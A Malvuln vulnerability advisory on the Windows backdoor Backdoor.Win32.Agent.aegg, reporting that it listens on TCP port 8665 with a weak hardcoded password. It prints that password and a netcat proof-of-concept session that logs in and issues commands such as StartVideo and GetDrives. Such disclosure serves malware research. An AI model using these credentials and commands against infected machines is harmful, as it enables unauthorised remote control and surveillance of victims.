Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/58be35e792476d1c015df7853112d200.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.aegg Vulnerability: Weak Hardcoded Credentials Description: The malware listens on TCP port 8665. Authentication is required, however the password "Xc 2870508" is weak and hardcoded within the PE file. Family: Agent Type: PE32 MD5: 58be35e792476d1c015df7853112d200 Vuln ID: MVID-2022-0571 Dropped files: ck.reg Disclosure: 04/26/2022 Exploit/PoC: C:\>nc64.exe x.x.x.x 8665 Welcome to XC Doc Server! Login root LoginFailed C:\nc64.exe x.x.x.x 8665 Welcome to XC Doc Server! Login Xc 2870508 LoginOK ComputerName DESKTOP-2C3IQHO StartVideo StartVideoOK GetDrives C:\ D:\ .... Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).